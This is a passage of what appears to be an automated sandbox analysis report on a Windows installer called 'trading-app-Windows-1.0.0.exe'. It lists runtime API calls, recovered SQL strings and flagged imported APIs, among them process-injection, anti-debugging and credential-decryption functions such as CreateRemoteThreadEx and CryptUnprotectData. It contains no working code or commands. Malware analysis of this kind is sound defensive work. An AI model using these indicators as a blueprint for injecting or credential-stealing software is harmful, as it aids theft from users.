parameter SubmitThreadpoolWork (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004580) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004580)3a:T4b2,"INSERT OR REPLACE INTO meta(key,value) VALUES(?,?)" (Source: 00000000-00004288.00000000.110171.0000C000.00000004.mdmp, 00000000-00004288.00000001.112089.0000C000.00000004.mdmp, 00000000-00004288.00000002.114010.0000C000.00000004.mdmp, Indicator: "insert or replace into meta(key,value) values(?,?)"), "SELECT value FROM meta WHERE key=?" (Source: 00000000-00004288.00000000.110171.0000C000.00000004.mdmp, 00000000-00004288.00000001.112089.0000C000.00000004.mdmp, 00000000-00004288.00000002.114010.0000C000.00000004.mdmp, Indicator: "select value from meta where key=?"), "SELECT COUNT(id) FROM dictionaries" (Source: 00000000-00004288.00000000.110171.0000C000.00000004.mdmp, 00000000-00004288.00000001.112089.0000C000.00000004.mdmp, 00000000-00004288.00000002.114010.0000C000.00000004.mdmp, Indicator: "select count(id) from dictionaries"), "DELETE FROM dictionaries WHERE exp_time<=? RETURNING size token_high token_low" (Source: 00000000-00004288.00000000.110171.0007C000.00000004.mdmp, 00000000-00004288.00000001.112089.0007C000.00000004.mdmp, 00000000-00004288.00000002.114010.0007C000.00000004.mdmp, Indicator: "delete from dictionaries where exp_time<=? returning size token_high token_low")3b:Tde40,Found reference to API (Indicator: "RegDeleteValueW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegQueryValueExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegOpenKeyExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegEnumKeyW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegCloseKey"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegEnumValueW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetFileSecurityW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegSetValueExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegDeleteKeyW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegCreateKeyExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateFontIndirectW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DeleteObject"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SelectObject"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateProcessW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CompareFileTime"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "MoveFileExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "lstrcmpiA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "MoveFileW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ReadFile"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FindNextFileW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetTempPathW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GlobalFree"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateThread"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetErrorMode"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ExitProcess"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DeleteFileW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SearchPathW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "WriteFile"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetTempFileNameW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetPrivateProfileStringW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateFileW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetTickCount"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "Sleep"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CopyFileW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetVersion"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "lstrcatW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "lstrcpynW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetProcAddress"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "MulDiv"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FindFirstFileW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetFilePointer"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetFileSize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "lstrcmpW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "lstrcmpiW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GlobalLock"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "WritePrivateProfileStringW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "lstrlenA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FreeLibrary"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CloseHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "lstrlenW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FindClose"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "lstrcpyA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetFileTime"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetLastError"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetShortPathNameW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ShellExecuteExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SHGetFileInfoW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SHGetSpecialFolderLocation"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SHFileOperationW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetClientRect"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "OpenClipboard"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CloseClipboard"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ScreenToClient"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CharNextA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetDC"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CharPrevW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "IsWindowEnabled"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetTimer"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "PostQuitMessage"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "AppendMenuW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LoadImageW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegisterClassW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ReleaseDC"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetCursor"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DestroyWindow"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreatePopupMenu"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateWindowExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "TrackPopupMenu"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "wsprintfW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "EnableWindow"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ShowWindow"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SystemParametersInfoW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "IsWindowVisible"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "EnableMenuItem"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "EmptyClipboard"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "BeginPaint"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetSysColor"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetSystemMenu"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DispatchMessageW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetWindowTextW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LoadCursorW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetClipboardData"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DefWindowProcW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetWindowPos"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CharNextW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FillRect"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "IsWindow"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "wsprintfA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InvalidateRect"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetWindowRect"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "PeekMessageW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "OleInitialize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CoCreateInstance"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "OleUninitialize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "VerQueryValueW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetFileVersionInfoW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SHGetFolderPathW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegDeleteKeyExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetUserDefaultUILanguage"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetDefaultDllDirectories"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "VerSetConditionMask"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetStdHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "VirtualFree"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetDateFormatW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FlsSetValue"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FlsGetValue"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "HeapFree"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetOEMCP"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetStdHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateRemoteThreadEx"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetACP"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "EncodePointer"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateFiberEx"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RtlUnwind"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InitializeProcThreadAttributeList"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "HeapSize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FlushInstructionCache"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InterlockedFlushSList"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetConsoleTextAttribute"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "IsValidLocale"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "UpdateProcThreadAttribute"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SwitchToThread"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetLastError"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetCPInfo"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DeleteProcThreadAttributeList"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ReadConsoleW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetLocaleInfoW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetEvent"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "TlsAlloc"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetFileSizeEx"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ConvertFiberToThread"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "TerminateProcess"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "VirtualProtect"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CompareStringW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "WakeConditionVariable"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetCurrentThread"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ExitThread"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetFileType"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FlsFree"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetTimeFormatW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateEventW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SwitchToFiber"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "TlsSetValue"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FreeLibraryAndExitThread"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "TlsGetValue"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "HeapAlloc"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FlsAlloc"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ConvertThreadToFiberEx"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ResetEvent"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LCMapStringW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DeleteFiber"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RaiseException"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "TlsFree"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "OutputDebugStringA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InitOnceBeginInitialize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "HeapQueryInformation"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InitOnceComplete"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InitializeSRWLock"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InitializeConditionVariable"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegEnumValueA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetSidSubAuthorityCount"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetSidSubAuthority"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetModuleHandleExA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetFileAttributesExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "IsWow64Process"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetFileApisToOEM"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DecodePointer"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "AreFileApisANSI"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GlobalMemoryStatus"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LocalFree"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetConsoleCP"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ReleaseSemaphore"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SetFileApisToANSI"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FormatMessageW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "lstrcpyW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetVersionExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CreateSemaphoreW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "DeviceIoControl"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SysStringLen"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "VariantClear"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SysAllocStringLen"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "VariantCopy"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SysFreeString"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CharUpperW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CryptProtectData"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CryptUnprotectData"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "FatalAppExitW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetSystemTime"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "HeapValidate"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InterlockedExchange"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InterlockedIncrement"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "InterlockedDecrement"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "TerminateThread"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "VariantInit"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "SysAllocString"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "ShellExecuteW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "MessageBoxW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "KillTimer"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "LoadStringW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "MessageBoxA"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "UnregisterClassW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CoUninitialize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "CoInitialize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API (Indicator: "GlobalSize"; File: 